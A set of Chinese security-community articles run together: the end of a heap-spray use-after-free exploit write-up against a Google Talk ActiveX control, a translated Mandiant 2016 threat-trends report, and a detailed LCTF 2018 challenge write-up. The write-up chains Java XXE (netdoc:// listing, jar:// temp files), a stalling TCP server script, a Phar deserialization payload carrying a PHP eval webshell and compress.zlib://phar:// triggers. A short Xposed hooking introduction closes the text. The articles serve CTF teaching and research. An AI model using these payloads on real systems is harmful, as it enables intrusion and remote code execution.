dospray();
//spray reliable so location at 0x20302228 holds our data
corelan_deps_spray();
//invoke callback function
sdr.onmessage = sdrcallback;
</script>
<body>
</body>
</html>
这个代码将做一个DEPS堆喷射，将内存0x20302228的值设置成0x61616161。
然后，“onmessage”中的代码将释放对象，并用相同大小（0x50字节）的对象来喷射堆。旧指针现在将指向我们分配的内存，其中包含指向0x20302228地址的指针。当访问失效指针时，将执行以下ASM代码。
13e70ca5 8b471c mov eax,dword ptr [edi+1Ch]
13e70ca8 8b30 mov esi,dword ptr [eax]
13e70caa 8d850cffffff lea eax,[ebp-0F4h]
13e70cb0 50 push eax
13e70cb1 8d45e4 lea eax,[ebp-1Ch]
13e70cb4 50 push eax
13e70cb5 e8768e0000 call googletalkax!DllUnregisterServer+0xf210 (13e79b30)
13e70cba 8b4f1c mov ecx,dword ptr [edi+1Ch]
13e70cbd 83c408 add esp,8
13e70cc0 50 push eax
13e70cc1 ff5604 call dword ptr [esi+4]
Edi +
1c保存的旧指针，现在替换为我们的0x20302228指针，这被加载到eax,然后将0x20302228里的值放入ESI寄存器。值是0x6161615d，它是由DEPS喷射的。然后程序调用ESI
+ 4，这是一个用户提供的地址0x61616161，这证明可以执行代码。
**进一步利用**
下一步是将其变成一个可以完整利用的漏洞。因为DEP和ASLR，我们需要使用这个bug来创建infoleak。我花了一些时间来研究，参考
<https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>
，但我没有找到进一步利用的方法。如果您有任何想法，请与我联系讨论他们。我会非常感兴趣，把这个bug变成infoleak。 | 社区文章 |
# Mandiant发布2016安全趋势报告
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www2.fireeye.com/rs/848-DID-242/images/Mtrends2016.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
信息安全作为整个IT市场细分的一个领域，它没有典型的季节性，也没有其他领域的周期性，因为安全是一种状态，对于安全的需求是无时无刻的，可以说地球上的企业没有一个是不需要为安全投资的，特别是在当今大数据的时代，安全问题成为了企业发展的头号敌人。
Mandiant是美国的一家著名网络安全公司，成立于2004年，公司拥有先进的安全产品和安全应急响应管理解决方案，我们的
“秘密武器”就是对威胁情报的预知能力。2014年，安全厂商FireEye以总价值10亿美元的股票和现金收购了Mandiant安全公司。
在过去的一年中，美国网络安全公司Mandiant曾对大量影响严重的数据泄漏事件进行了快速响应处理。我们从这些事件中发现了两个明显与往年有所不同的地方：
1\. 与往年相比，越来越多的泄漏数据会被公开；
2\. 攻击者的位置和动机呈现出一种多元化的趋势；
在2015年，大量数据泄漏事件的具体信息被曝光了出来。这也足以说明，信息安全产业正在经历着一场变革，而压力却全部集中在了很多企业和组织机构的身上。当某一企业或组织发生了数据泄漏之后，他们不仅要对社会公众的舆论作出回应，而且还要面对一系列由此事件所带来的违规问题和法律诉讼。在我们所处理的一些数据泄漏事件中，我们可以看到有的公司承受着外界给他们的巨大压力，而这些压力将会影响他们处理这些问题的效率。
2015年最有意思的一个新的发展趋势是破坏性攻击事件的数量正在不断上升。破坏性攻击指的是攻击者对数据加密并勒索赎金（例如CryptoLocker），勒索某一公司（盗窃数据，并以曝光数据为由威胁公司），从设备中删除数据或损坏系统，向源代码库中添加恶意代码，或者修改关键的企业数据等恶意行为。
我们还观察到了另一个新的发展趋势，攻击者的攻击目标开始转向了企业或机构中的个人身份信息。在此之前，我们曾经遇到过盗窃用户个人身份信息的事件，但是这类事件的发生次数在2015年增长得非常的快。
除此之外，我们还发现了第三大发展趋势。攻击者对智能物联网设备的兴趣越来越浓厚，他们会对这些设备进行有针对性的持续攻击。我们已经发现，有攻击者曾成功入侵过这类设备，并获得了目标设备的持久访问权限，而且他们还可以修改设备的安全访问控制表（ACLs），以此来访问设备受保护的部分。这样一来，攻击者就可以从这些设备中截获用户的网络通讯数据了。例如，之前曾有安全研究人员在世界黑客大会上演示了如何对特斯拉电动汽车进行攻击，而且智能家电（例如智能门铃，智能电视，以及智能开关等）和无人机等新型产品也无一幸免。
在观察到了这些发展趋势之后，我们可以从中得出一个结论：现在，我们的注意力不应该只放在某个方面的安全性上，无论是人为因素的影响，还是相关技术有设计缺陷，我们都应该开始对设备的整体安全性有一个新的认识。
**用数字说话**
**针对企业网络设备的攻击**
在过去的几年中，Mandiant还发现有攻击者成功入侵了类似路由器，交换机，以及防火墙等网络设备。这些设备往往是了企业网络基础设施中的重要组成部分，而且在安全检测人员对企业网络环境进行检测的过程中，这些设备往往会被忽略。尤其是当安全研究人员在系统中发现了后门程序，或者发现数据库被远程访问的时候，他们更加不会对这种网络硬件设备进行安全检查了。
**FaaS－一个实时的安全检测与响应处理服务**
无论在任何情况下，Faas（FireEye as a
Service）服务都可以帮助客户进行安全威胁检测。我们的首要任务就是检测APT组织和网络犯罪分子给用户带来的安全威胁。当这些组织对用户进行攻击时，往往会给用户带来非常大的麻烦，而我们的职责就是保护用户不受这类复杂的攻击所侵害。
对单一主机或者单一客户端环境进行安全威胁检测往往是比较困难的，这也是一个历史性的难题。但是FaaS可以利用一系列高科技技术来实现这一点。Faas利用了先进的智能分层技术，再加上六个高级检测中心的配合，这样就可以保证用户二十四小时都处于安全监控之下。
2015年6月，Faas检测到了针对好几个客户的恶意网络钓鱼攻击（由APT3发动的）。FireEye的威胁情报中心经过分析和评估之后，认为APT3是一个高度成熟的黑客组织。在二十四小时之内，经过FireEye公司内多个安全部门的合作分析，我们在其钓鱼邮件中发现了一段针对Adobe
Flash 0 day漏洞的利用代码。在不到三周的时间里，APT3曾利用这个0 day漏洞以及大量其他的恶意软件对FaaS的14个客户进行了攻击。
**总结**
每一年，攻击者都会研发出新的攻击技术来对目标进行恶意攻击。而与此同时，安全团队的研究人员也积累了大量的经验，而且现在的设备越来越先进，这些因素都能够有效地帮助安全研究人员与这些黑客技术做斗争。除此之外，我们所依赖的技术更新换代的速度也非常之快，这也就要求我们的思维能够跟得上安全领域的发展速度。我们必须开发出新的安全技术来保护自己，而且此时往往没有任何的安全实践案例可供我们参考。
正是这种“猫捉老鼠”的游戏才使得信息安全成为了一个非常特殊的领域，而且还非常富有挑战性。“足够好”往往意味着还不够好。即使与过去五年相比，现在每天平均发生的入侵事件数量已经在稳步下降了，但我们离成功还有很长一段路要走。
当某个企业或组织发生了数据泄漏事件之后，他们往往需要考虑和处理很多其他的事情，而不是第一时间去关心到底那些数据被盗了，攻击者到底是怎么入侵我们的系统的，以及如何解决这一问题。受到攻击的组织机构将会面临公众舆论的压力，政府的调查，以及之前可能从未遇到过的法律诉讼。而且，数据泄漏事件也逐渐开始影响普通人的生活了。
我们必须不断地发展我们的安全防护技术，只有这样才能跟得上不断变化的黑客技术。这也就意味着，我们必须将安全防护程序的开发过程视作一个永无止境的更新过程，这样才可以保护人们不受恶意攻击活动的侵害。 | 社区文章 |
# LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析
##### 译文声明
本文是翻译文章，文章原作者 k0rz3n，文章来源：k0rz3n.com
原文地址：<http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：k0rz3n
转载自k0rz3n博客：[k0rz3n.com](http://k0rz3n.com)
## 0X00 两道题两个非预期
本来就出了这一道题，PHP 代码是用 orange 的改的，我本想设计一个不可上传，但是路径可知的目录，然后利用 java 的 xxe 实现文件上传，再利用
move 移动到那个已知的路径，通过反序列化临时文件来触发已知路径中的文件包含 getshell,但是由于我自己对orange
代码中沙盒的理解的不到位，导致了这道题彻底的非预期，后来我干脆删除了 java 的部分，因为师傅们发现 data 目录其实在 cookie
中能得到，而我在反序列化的时候也没有限制 data 目录的反序列化，并且上传的文件可控，那这样就直接能 getshell， 第二题虽然我限制了不能反序列化
data 目录下面的文件，但是由于我自己写 read_secret 时候的失误导致了另一个非预期，read_secret 本来应该是一个 shell
脚本，但我写成了一个字符串，返回值是 Null ,所以 cookie 中的 hmac 签名不攻自破，路径也就可以伪造，然后利用这种方法 getshell
,但是实际上这个两个题的代码就差了过滤 data 和 ..
的正则，还有一点像吐槽的就是我那个评论框真的是因为人性化做的不好，似乎人们都觉得那个是假的似的，那我下面的主要分析就按照我一开始的想法分析了。
## 0X01 说一下想要考察的点
LCTF2018 我出的这道题主要考察了两个知识点，一个就是当前最最最最，最火的 Phar 反序列化，另一个就是前一段时间比较众人皆知的 java 的
XXE
漏洞，毕竟微信的洞谁能不知道呢？虽然是大家比较熟悉的洞，但是我依然进行了比较深入的挖掘，考察的是比较容易被忽视的点，当然为了将这个两个点结合起来我也是花了非常大的功夫(如果说有脑洞其实我是不承认的，我承认的是由于将两者结合起来，利用的过程的确非常复杂)，那么接下来就让我好好的分析一下这道题，看看它能给我们带来什么样的头脑风暴
## 0X02 题目概览
### 1.题目描述如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF_show_me_the_shell_.gif "此处输入图片的描述")
hh,这一部分的动态前端就是为了活跃气氛的(其实为了动态也写了我挺长时间)，当然也有一点提示，就是说下面有一个评论框可以写，说明这个东西是题目中的关键要素。点击标题就能看到正式的题目了
### 2.题目代码如下：
<?php
$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class|data|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);
if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}
function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {
$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is ：" . $width." px<br>" .
"Height is ：" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is ：" . $width." px<br>" .
"Height is ：" . $height." px<br>");
}
}
function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}
$mode = $_GET["m"];
if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{
highlight_file(__FILE__);
}
include("./comments.html");
有没有觉得似曾相识？没错这一部分是改编自 hitcon 2017 Orange 的 Phar 反序列化（当然我的出题的目的也是考察 Phar
的反序列化），简单的浏览一下代码，对比之前 Orange 的原题，我们发现这里做出了比较大的改动有三处，
#### 改动一:
我改变了 getflag 的方式，看类名就知道，我这里很明确地要求你反序列化的是下面这个类的对象
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class|data|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
也就是说，我们只要构造好这个对象的属性让他的值为我们可以控制的文件，对其进行反序列化的时候我们能成功实现文件包含然后 getshell(题目已经说了是要
getshell 这里就不用考虑去包含 flag 文件了)
#### 改动二：
我在原先的 upload 方法中添加了 协议的过滤
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}
可以看到我只允许你使用 https 或者 http 协议进行文件的上传，我将原来能反序列化的点抹去了，很明显我的意思是不能再使用这个
file_get_contents 进行反序列化
#### 改动三：
我新增了两个有意思的方法，check 和 move ，很明显，这两个方法是有问题的，利用点也肯定在这里
##### 1.check
check 的作用就是根据你提供的 URL 地址给出图片的大小，这里很明显是一个可控制点，能让我们输入自定义的路径(非常像 Orange
题目中的反序列化的点)，但是这个函数没有文件上传的功能，并且对传入的参数进行了一些过滤，把 phar:// 开头的直接 Ban
了，也就是我要求你要用另外的反序列化的方式，这种方式不能使用 phar:// 开头，我这里打算使用的是
compress.<zlib://phar>://xxxx 这种方式。
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is ：" . $width." px<br>" .
"Height is ：" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is ：" . $width." px<br>" .
"Height is ：" . $height." px<br>");
}
}
而且 我这里的利用的函数也不再是之前的简单的 file_get_contents 或者 is_file 再或者 is_dir 之类的，通过阅读zsx
大佬的博客，以及自己对 PHP 源码的分析，我最终选择了 getimagesize(） 这个函数去代替 file_get_contents 进行反序列化。
##### 2.move
这个函数就更可疑了，他能把一个确定的文件通过 copy 转移到我们自己的一个已知的目录下(我这里设计了两个目录，data 和 file 并且 data
目录下面的子目录我们是不知道目录的，但是 file 下面的目录名 我们却能知道)，并且能自定义文件名，看到这里应该能联想到我们获取 flag
的方式就是文件包含，我们这里希望你能将你控制的文件通过这个函数弄到 file 目录下的你已知的自己的目录,并最终对其进行文件包含来达到 getshell
的目的。
function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}
### 3.发现的问题：
按照上面的思路对代码进行简单的分析以后，似乎我们已经找到了大致的解决问题的途径，但是问题依然存在，我们需要一个文件上传点才能串起来我们的利用链，我们来列举一下目前已知的上传点。
(1) upload 函数上传的文件我们不知道路径，因为路径被 secret 加密了，这个上传点被 Pass ，我们无法利用
(2) 因为代码本身的 check 需要用到 allow_url_fopen 打开,于是 move
函数也就成了一个隐藏的文件上传点，但是能不能用呢？因为这里我过滤了常见的 wapper 和 http Https 协议，想从外界复制文件应该也是不可行的。
(3)别忘了我们的评论框
## 0X03 深入研究
### 对评论框的详细分析
这个评论框是做什么的呢？其实到这里为止题目才刚刚开始，利用这个评论框进行文件的上传是这道题我要考察的重点，也是我个人认为这道题最难的地方，我们先来抓包看一下。
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%86_1.png "此处输入图片的描述")
我们看到评论框输入的内容被转化成了 json 格式发往了相同服务器的一个 API ，端口是 8080 ，8080 是 tomcat
的默认端口，熟悉的同学应该猜的出来，这是我用 java 写的一个 api 接口，根据你输入的请求得到 json 格式的返回结果，很多人第一反应肯定是 xss
之类的，所以这里我对输入做了过滤
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%862.png "此处输入图片的描述")
我直接把尖括号过滤了，当然还有一些常见的符合 xml 的内容，其实就是传达这里不能输入不规范的内容
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%86_3.png "此处输入图片的描述")
如果你熟悉 XEE 的 实战，知道在现实中 XXE 一般出现在调用 API 的接口、传递 json 等地的话，你就会立刻反应过来这里的 json
接口完全有可能去解析客户端发来的 XML 数据，没错，为了模拟这种情况我就是用 Java 写了这样一个能解析 json 还能解析 XML
的接口,只要我们将传递过去的 content-type 修改成 application/xml 就可以了，我们可以传一个 xml 格式的数据过去看看
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%86_4.png "此处输入图片的描述")
可以看到我们传入的内容被成功解析并在 json 中完整的返回，只要能解析外部实体这其实就是一个很明显的 XXE 了，只不过是 Java
的而已，我们尝试传入实体，看卡有没有被过滤(过滤了 & 就只能 OOB了)
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%865.png "此处输入图片的描述")
成功解析，好了，是不是感觉柳暗花明，XXE 漏洞最基本的是干什么？列目录，正好我们试一下解析外部实体
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%86_6.png "此处输入图片的描述")
你的内心一定是 mmp 的，其实我就知道你会用 file 列目录，想给你一个打击，于是特地把 file 过滤了，看一下我的源码
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018_%E8%AF%84%E8%AE%BA%E6%A1%867.png "此处输入图片的描述")
由于图片显示不完整，我贴出代码：
public String XmlRe(@RequestBody String data, HttpServletRequest request) throws Exception {
if(Pattern.matches("(?i)(.|\\s)*(file|ftp|gopher|CDATA|read_secret|logs|log|conf|etc|session|proc|root|history|\\.\\.|data|class|bash|viminfo)(.|\\s)*",data)){
return "{\"status\":\"Error\",\"message\":\"Hacker! Hacker! Hacker!\"}";
}else{
Map<String,String> test = xmlToMap(data);
return "{\"status\":\"Error\",\"message\":\""+ test +"\"}";
}
}
其实我不只是过滤了 file 协议，我们知道低版本的jdk 支持 gopher
协议，我防止思路跑偏直接过滤了，还有就是有些时候想看一写带有特殊字符的文件的话可能会用到 CDATA
结，为了能尽量少的暴露敏感文件我也过滤了，毕竟题目不是要你读文件用的。但是如果你看一下文档的话，就能发现， java 还支持一个 netdoc
协议，能完成列目录的功能。
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%868.png "此处输入图片的描述")
很多人肯定去忙着找 flag ，其实我 flag 没有写在文件里，找到 flag 的唯一方式就是拿到 shell 然后执行全局搜索。
别忘了现在的当务之急就是找文件上传点，这里我考察的是一个比较少见也比较细节的东西，java 的 jar://
协议，通过这个协议我们能向远程服务器去请求文件（没错是一个远程的文件，这相比于 php 的 phar
只能请求本地文件来说要强大的多），并且在传输过程中会生成一个临时文件在某个临时目录中，好了分析到这里又有一些问题了
#### 发现的问题：
(1)如果我们能通过 jar 协议在题目 服务器生成一个临时文件，那我们就能利用其进行包含，但是似乎我们不知道文件路径更没法预测文件名
(2)我们的包含是要通过反序列化实现的，也就是说我们如果想要包含临时文件，那么我们必须要在 payload 文件中写好临时文件名，但是 payload
是在生成临时文件以前生成的(或者说 payload 就是那个临时文件)，于是这里就形成了一个死循环
(3)临时文件很快就会消失，但是我们的反序列化一以及后面的操纵非常的复杂，甚至没法直接通过脚本实现，那么在没法条件竞争的情况下如何延长文件的传输时间
#### 问题解决
##### 问题一：
想知道文件名和文件路径，很简单我们只要知道文件路径然后利用我们的 netdoc 去列目录就能知道文件名了，那么路径怎么知道，这里有两种方法
方法一：
先列一下目录，大概判断一下环境，本地搭一个相似的环境去测试，找到临时文件的路径，但我想这个方法没人用，代价太大了。
方法二：
其实你在测试过程中应该能发现报错信息没有屏蔽，我们可以通过报错拿到我们的文件路径，但是如何报错？这其实还是一个问题，因为 Jar
协议本身有一个解包的过程，如果你请求的文件包里面没有那么就会报错，获取这个包的临时文件的位置(下图的 jar.zip 就是一个单纯的压缩包文件，如果是
Phar 文件是不会成功的，jar 不能解析 phar 格式的文件)
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%AF%84%E8%AE%BA%E6%A1%869.png "此处输入图片的描述")
##### 问题二：
我们已经清楚，生成的临时文件就是我们的 payload ，我们要通过这个 payload 完成反序列化和文件包含两个功能，但是他自己是
无法在上传之前知道自己的文件名的，没有确定的路径和文件名就没法包含，于是之前对 move 函数的分析就映入脑海，我们似乎能利用这个 move
函数将这个临时文件搬移到我们已知的路径，这其实也是我设计这个函数的目的
##### 问题三：
这个问题也是一个非常关键的点，也是这道题的难点中的难点，既然不能条件竞争，我们该怎么办，实际上我们可以通过自己写服务器端的方法完成这个功能，因为文件本身就在自己的服务器上，我想让他怎么传不是完全听我的？于是我写了一个简单的
TCP 服务器，这个服务器的特点就是在传输到文件的最后一个字节的时候突然暂停传输，我使用的是 sleep()
方法，这样就延长了时间，而且是任意时间的延长，但是实际上这厉害牵扯出一个问题，就是我们这样做文件实际上是不完整的，所以我们需要精心构造一个 payload
文件，这个文件的特点就是我在最后一个字节的后面又添加了一个垃圾字节，这样实际上在暂停过程中文件已经传输完毕了，只是服务器认为没有成功传输而已
代码如下：
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('\r\nClient req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(300)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
到此为止，我对整道题的难点分析就结束了，下面就是大致的解题过程
## 0X04 解题过程
### 1.查看自己的 remote_addr 结合 K0rz3n 字符串生成md5
示例代码：
<?php
echo md5("K0rz3n".$_SERVER['REMOTE_ADDR']);
结果：
4253b1c836a25962c1547f7e46f373f1
这个就是我们会在 file 文件夹中生成的文件夹，我们会把我们的 payload 转移到这个文件夹下重命名然后进行包含
### 2.生成反序列化 payload 文件
payload 代码：
<?php
class K0rz3n_secret_flag {
protected $file_path;
function __construct(){
$this->file_path = "phar:///var/www/file/4253b1c836a25962c1547f7e46f373f1/jar.zip/test.txt";//这是文件包含的payload
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀必须是 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new K0rz3n_secret_flag();//我们将对象在这里创建
$phar->setMetadata($o); //将对象在这里序列化
$phar->addFromString("test.txt", '<?php eval($_POST["cmd"])?>'); //我们文件包含的时候会触发 getshell
$phar->stopBuffering();
?>
运行这段代码以后我们就能获取到一个 phar.phar 文件，然后我们根据自己习惯改名后还要在文件末尾添加一个垃圾字节
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E5%9E%83%E5%9C%BE%E5%AD%97%E8%8A%82.png
"此处输入图片的描述")
### 3.判断临时文件目录
我们先随意打包一个压缩包(假设里面是一个xxe.php)上传到自己的服务器上，然后启动我们的自定义的服务器脚本，监听服务器的 9999 端口，然后本地利用
XXE 去请求这个文件，请求的时候我们要故意写一个不存在文件，比如 1.php
如图所示:
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%8E%B7%E5%BE%97%E8%AF%B7%E6%B1%82.png
"此处输入图片的描述")
我们服务器已经接收到了我们 XXE 发出的请求，然后后面的报错就和上面分析的一样，这里就不在赘述
### 4.通过列目录确定我们的payload文件名
我们将 server.py 这个服务器脚本的 sleep() 时间调的稍微长一些，比如调整为 600 s ，然后将我们的 payload 文件传上去，通过
XXE 请求这个文件，这时候临时文件生成，然后我们再通过 XXE 列目录得到临时文件名
请求 payload：
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "jar:<http://yourvps:9999/jarn.zip>!/test.txt" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
得到临时文件名
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "netdoc:///usr/local/tomcat/temp/" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E8%8E%B7%E5%BE%97%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6%E5%90%8D.png
"此处输入图片的描述")
### 5.调用 Move 函数实现文件的拷贝
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E6%96%87%E4%BB%B6%E6%8B%B7%E8%B4%9D.png
"此处输入图片的描述")
示例代码：
<http://212.64.7.171/LCTF.php>?
m=move
&source=/usr/local/tomcat/temp/jar_cachexxxxxxxxxxxx.tmp
&dest=jar.zip
这个时候我们的 payload 已经在我们可控的目录中了，并且被我们重名名为了 jar.zip ,这个我们在 payload 文件中写的是一致的
### 6.调用 check 函数实现反序列化 getshell
我们先在浏览器看一下：
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.png
"此处输入图片的描述")
示例代码：
[http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///usr/local/tomcat/temp/jar_cachexxxxxxxxxxxxxxxxxx.tmp](http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///usr/local/tomcat/temp/jar_cachexxxxxxxxxxxxxxxxxx.tmp)
没啥反应，其实我们放到菜刀里就有反映了
如图所示:
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20getshell.png "此处输入图片的描述")
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20getshell2.png "此处输入图片的描述")
这里还要注意一点，我们在创建 shell 的时候还要注意我们必须带上 cookie: 要不然会被 php 本身的逻辑给 die 掉
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20cookie.png "此处输入图片的描述")
### 7.找 flag
我说过 flag 没有在什么文件里，为了防止 XXE 该翻到，于是只能通过 grep 全局搜索，如果全局不行的话，就一个一个文件夹的全局，可能这个
shell 没法支持这么大的搜索量
如图所示：
[](https://picture-1253331270.cos.ap-beijing.myqcloud.com/LCTF2018%20flag.png
"此处输入图片的描述")
## 0X05 总结
出这道题之前其实找了很久的思路，发现自己对知识的理解还是非常的肤浅，也学会了有时候看文档才是最好的学习方法，写这道题也用了很久，请教了非常多的大师傅，就在这里统一感谢一下，特别是
Java 的部分，因为写 Java 写的不多 ,想要实现一个自己脑袋里面的想法真的很难，甚至都把微信 XXE
的漏洞部分代码进行了巧妙的移植，不过我还是克服重重困难实现了功能，不管这道题出的好坏与否，脑洞与否，我都是出于技术交流与分享的目的，希望能将自己学到的东西以题目的形式展现给大家，没有任何的经济成分，这或许也是
CTF 一开始的目的吧，但是现在似乎已经不是这样了，总之做技术还是保持本心吧，还是那句话：”你的知识面，决定着你的攻击面”。 | 社区文章 |
## 前言
### xposed框架
xposed，主页：[http://repo.xposed.info/module/de.robv.android.xposed.installer]()
是个开源的框架，在github上有源码的，直接下载apk后安装激活就可以使用，很多地方有这方面的教程，针对不同的手机架构，有大牛做了针对性的修改。可以在论坛中进行搜索
通过替换/system/bin/app_process程序控制zygote进程，使得app_process在启动过程中会加载XposedBridge.jar这个jar包，从而完成对Zygote进程及其创建的Dalvik虚拟机的劫持。
Xposed在开机的时候完成对所有的Hook Function的劫持，在原Function执行的前后加上自定义代码。
很多人将这个框架用在对android的私有化定制上面，其实在android安全测试方面这个框架提供了很大的便利，xposed主要是对方法的hook，在以往的重打包技术中，需要对smali代码的进行修改，修改起来比较麻烦。
利用xposed框架可以很容易的获取到android应用中的信息，比如加密私钥、salt值等等，不需要饭编译获取密钥转换算法、不需要了解密钥保存机制，直接hook函数，获取输入输出就可以。
